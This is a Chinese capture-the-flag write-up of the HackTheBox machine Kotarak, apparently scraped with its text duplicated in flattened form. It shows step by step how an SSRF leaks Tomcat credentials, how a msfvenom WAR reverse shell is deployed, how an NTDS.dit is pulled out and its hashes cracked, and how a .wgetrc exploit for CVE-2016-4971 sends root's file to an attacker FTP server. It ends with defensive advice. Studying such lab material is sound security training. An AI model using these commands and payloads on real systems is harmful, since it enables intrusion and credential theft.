Hackthebox: kotarak(从ssrf到提权-ntds-dit提取密码)
字数 2782 2025-08-26 22:11:23

HackTheBox: Kotarak 渗透测试实战分析

1. 靶机概述

Kotarak 是 HackTheBox 平台上的一台已退役靶机,难度等级为 Hard (40分)。本靶机涉及多个关键渗透技术点,包括:

  • 服务端请求伪造 (SSRF)
  • Tomcat 管理界面利用
  • WAR 文件部署获取反向 Shell
  • NTDS.dit 文件提取与密码破解
  • Wget 漏洞利用提权

2. 初始信息收集

2.1 端口扫描

使用 masscan 和 nmap 进行全端口扫描:

masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55

扫描结果发现开放端口:

  • 22 (SSH)
  • 8080 (HTTP - Tomcat)
  • 8009 (AJP)
  • 60000 (HTTP)

3. Web 服务探测

3.1 8080 端口 - Tomcat

访问 http://10.10.10.55:8080 显示 404 页面,进行目录枚举:

dirb http://10.10.10.55:8080

发现以下路径:

  • /docs (302)
  • /examples (302)
  • /favicon.ico (200)
  • /host-manager (302)
  • /manager (302)

访问 /manager/html 需要认证,提示使用 Tomcat 7 的管理接口:

  • /manager/html - HTML GUI
  • /manager/text - 文本接口
  • /manager/jmxproxy - JMX 代理
  • /manager/status - 状态页面

3.2 60000 端口 - SSRF 漏洞利用

60000 端口提供"私人 Web 浏览器"功能,存在 SSRF 漏洞。

SSRF 概念
服务端请求伪造漏洞允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。

验证漏洞

  1. 本地开启 HTTP 服务:
    python -m SimpleHTTPServer
    
  2. 通过 60000 端口访问本地服务:
    http://10.10.10.55:60000/url.php?path=http://<本地IP>:8000

绕过 file:// 协议限制
尝试直接访问 file:///etc/passwd 被阻止,服务器可能使用正则表达式过滤 "file" 关键字。

端口扫描
使用 wfuzz 通过 SSRF 扫描内部端口:

wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

忽略响应长度为 2 的端口:

wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

发现 888 端口存在备份页面:
http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup

从中获取 Tomcat 管理凭据。

4. 获取初始访问权限

4.1 使用获取的凭据登录 Tomcat 管理界面

访问 /manager/html,使用获取的用户名和密码登录。

4.2 部署 WAR 反向 Shell

使用 msfvenom 生成 WAR 格式的反向 Shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻击机IP> LPORT=1234 -f war > shell.war

通过 Tomcat 管理界面上传并部署 WAR 文件。

4.3 获取交互式 Shell

本地监听:

nc -lnvp 1234

访问部署的 WAR 文件路径获取连接后,升级为完全交互式 Shell:

python -c 'import pty;pty.spawn("/bin/bash")'

5. 权限提升 - 用户级别

5.1 发现 NTDS.dit 文件

/home/tomcat/to_archive/pentest_data 目录下发现:

  • 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin (SYSTEM hive)
  • 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit (NTDS.dit)

5.2 文件传输到攻击机

方法一:使用 netcat

# 攻击机
nc -lvnp 443 > SYSTEM
# 靶机
nc <攻击机IP> 443 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

方法二:使用 Python HTTP 服务器

# 靶机
python -m SimpleHTTPServer 7788
# 攻击机
wget http://10.10.10.55:7788/文件名

5.3 提取 NTDS.dit 中的密码哈希

工具准备

  1. 安装 libesedb:

    git clone https://github.com/libyal/libesedb.git
    cd libesedb/
    apt-get install git autoconf automake autopoint libtool pkg-config build-essential
    ./synclibs.sh
    ./autogen.sh
    ./configure
    make
    make install
    ldconfig
    
  2. 安装 ntdsxtract:

    git clone https://github.com/csababarta/ntdsxtract
    cd ntdsxtract
    python setup.py build && python setup.py install
    

提取过程

  1. 导出 NTDS.dit:

    esedbexport -m tables ntds.dit
    

    生成 ntds.dit.export 目录,包含 datatable.3link_table.5

  2. 提取用户哈希:

    dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc
    
  3. 获取的哈希示例:

    Administrator:::e64fe0f24ba2489c05e64354d74ebd11
    atanas:::2b576acbe6bcfda7294d6bd18041b8fe
    
  4. 使用 CrackStation 等在线服务破解哈希:

    • Administrator: f16tomcat!
    • atanas: Password123!

5.4 切换用户

su atanas

使用获取的密码切换到 atanas 用户,获取 user.txt。

6. 权限提升 - Root 级别

6.1 信息收集

  1. 运行 LinEnum.sh:

    wget http://<攻击机IP>/LinEnum.sh
    chmod +x LinEnum.sh
    ./LinEnum.sh
    
  2. 发现线索:

    • /var/log/app.log 提到 10.0.3.133 的 wget 版本为 1.16
    • 当前主机 wget 版本为 1.17.1
    • 10.0.3.133 每两分钟从 10.10.10.55 获取 /archive.tar.gz

6.2 Wget 漏洞利用 (CVE-2016-4971)

漏洞概述
GNU Wget < 1.18 存在任意文件上传/远程代码执行漏洞。

利用步骤

  1. 准备利用文件:

    • .wgetrc 内容:
      post_file = /root/root.txt
      output_document = /etc/cron.d/wget-root-shell
      
    • 修改 exploit 代码 (40064.txt) 中的 FTP 服务器地址为攻击机 IP
  2. 启动 FTP 服务器:

    pip2 install pyftpdlib
    python -m pyftpdlib -p 21 -w
    
  3. 上传 exploit 到靶机:

    wget http://<攻击机IP>/wget.py
    authbind python wget.py
    
  4. 等待约两分钟,10.0.3.133 会将其 /root/root.txt 文件发送到攻击机的 FTP 服务器。

7. 关键知识点总结

  1. SSRF 利用

    • 通过服务端请求绕过防火墙限制
    • 使用 wfuzz 进行内部端口扫描
    • 访问受限的内部服务获取敏感信息
  2. Tomcat 管理界面利用

    • 通过备份文件泄露获取凭据
    • WAR 文件部署获取反向 Shell
  3. NTDS.dit 提取

    • SYSTEM hive + NTDS.dit 提取域密码哈希
    • 使用 libesedb 和 ntdsxtract 工具链
    • 密码哈希破解技术
  4. Wget 漏洞利用

    • 通过 .wgetrc 文件控制下载行为
    • 利用旧版本 wget 的配置文件处理漏洞
    • 跨主机文件泄露技术

8. 防御建议

  1. 防止 SSRF

    • 实施严格的输入验证
    • 使用白名单限制请求的目标
    • 禁用不必要的 URL 协议 (如 file://)
  2. Tomcat 安全

    • 使用强密码保护管理界面
    • 限制管理界面的访问 IP
    • 定期更新 Tomcat 版本
  3. 域安全

    • 保护 NTDS.dit 和 SYSTEM hive 文件
    • 使用强密码策略
    • 定期轮换关键账户密码
  4. Wget 安全

    • 保持 wget 更新到最新版本
    • 监控异常的网络流量
    • 限制 cron 任务的权限

通过本案例,我们学习了从初始信息收集到最终获取 root 权限的完整渗透测试流程,涉及多种高级攻击技术和工具链的使用。

HackTheBox: Kotarak 渗透测试实战分析 1. 靶机概述 Kotarak 是 HackTheBox 平台上的一台已退役靶机,难度等级为 Hard (40分)。本靶机涉及多个关键渗透技术点,包括: 服务端请求伪造 (SSRF) Tomcat 管理界面利用 WAR 文件部署获取反向 Shell NTDS.dit 文件提取与密码破解 Wget 漏洞利用提权 2. 初始信息收集 2.1 端口扫描 使用 masscan 和 nmap 进行全端口扫描: 扫描结果发现开放端口: 22 (SSH) 8080 (HTTP - Tomcat) 8009 (AJP) 60000 (HTTP) 3. Web 服务探测 3.1 8080 端口 - Tomcat 访问 http://10.10.10.55:8080 显示 404 页面,进行目录枚举: 发现以下路径: /docs (302) /examples (302) /favicon.ico (200) /host-manager (302) /manager (302) 访问 /manager/html 需要认证,提示使用 Tomcat 7 的管理接口: /manager/html - HTML GUI /manager/text - 文本接口 /manager/jmxproxy - JMX 代理 /manager/status - 状态页面 3.2 60000 端口 - SSRF 漏洞利用 60000 端口提供"私人 Web 浏览器"功能,存在 SSRF 漏洞。 SSRF 概念 : 服务端请求伪造漏洞允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。 验证漏洞 : 本地开启 HTTP 服务: 通过 60000 端口访问本地服务: http://10.10.10.55:60000/url.php?path=http://<本地IP>:8000 绕过 file:// 协议限制 : 尝试直接访问 file:///etc/passwd 被阻止,服务器可能使用正则表达式过滤 "file" 关键字。 端口扫描 : 使用 wfuzz 通过 SSRF 扫描内部端口: 忽略响应长度为 2 的端口: 发现 888 端口存在备份页面: http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup 从中获取 Tomcat 管理凭据。 4. 获取初始访问权限 4.1 使用获取的凭据登录 Tomcat 管理界面 访问 /manager/html ,使用获取的用户名和密码登录。 4.2 部署 WAR 反向 Shell 使用 msfvenom 生成 WAR 格式的反向 Shell: 通过 Tomcat 管理界面上传并部署 WAR 文件。 4.3 获取交互式 Shell 本地监听: 访问部署的 WAR 文件路径获取连接后,升级为完全交互式 Shell: 5. 权限提升 - 用户级别 5.1 发现 NTDS.dit 文件 在 /home/tomcat/to_archive/pentest_data 目录下发现: 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin (SYSTEM hive) 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit (NTDS.dit) 5.2 文件传输到攻击机 方法一:使用 netcat 方法二:使用 Python HTTP 服务器 5.3 提取 NTDS.dit 中的密码哈希 工具准备 : 安装 libesedb: 安装 ntdsxtract: 提取过程 : 导出 NTDS.dit: 生成 ntds.dit.export 目录,包含 datatable.3 和 link_table.5 提取用户哈希: 获取的哈希示例: 使用 CrackStation 等在线服务破解哈希: Administrator: f16tomcat ! atanas: Password123 ! 5.4 切换用户 使用获取的密码切换到 atanas 用户,获取 user.txt。 6. 权限提升 - Root 级别 6.1 信息收集 运行 LinEnum.sh: 发现线索: /var/log/app.log 提到 10.0.3.133 的 wget 版本为 1.16 当前主机 wget 版本为 1.17.1 10.0.3.133 每两分钟从 10.10.10.55 获取 /archive.tar.gz 6.2 Wget 漏洞利用 (CVE-2016-4971) 漏洞概述 : GNU Wget < 1.18 存在任意文件上传/远程代码执行漏洞。 利用步骤 : 准备利用文件: .wgetrc 内容: 修改 exploit 代码 (40064.txt) 中的 FTP 服务器地址为攻击机 IP 启动 FTP 服务器: 上传 exploit 到靶机: 等待约两分钟,10.0.3.133 会将其 /root/root.txt 文件发送到攻击机的 FTP 服务器。 7. 关键知识点总结 SSRF 利用 : 通过服务端请求绕过防火墙限制 使用 wfuzz 进行内部端口扫描 访问受限的内部服务获取敏感信息 Tomcat 管理界面利用 : 通过备份文件泄露获取凭据 WAR 文件部署获取反向 Shell NTDS.dit 提取 : SYSTEM hive + NTDS.dit 提取域密码哈希 使用 libesedb 和 ntdsxtract 工具链 密码哈希破解技术 Wget 漏洞利用 : 通过 .wgetrc 文件控制下载行为 利用旧版本 wget 的配置文件处理漏洞 跨主机文件泄露技术 8. 防御建议 防止 SSRF : 实施严格的输入验证 使用白名单限制请求的目标 禁用不必要的 URL 协议 (如 file://) Tomcat 安全 : 使用强密码保护管理界面 限制管理界面的访问 IP 定期更新 Tomcat 版本 域安全 : 保护 NTDS.dit 和 SYSTEM hive 文件 使用强密码策略 定期轮换关键账户密码 Wget 安全 : 保持 wget 更新到最新版本 监控异常的网络流量 限制 cron 任务的权限 通过本案例,我们学习了从初始信息收集到最终获取 root 权限的完整渗透测试流程,涉及多种高级攻击技术和工具链的使用。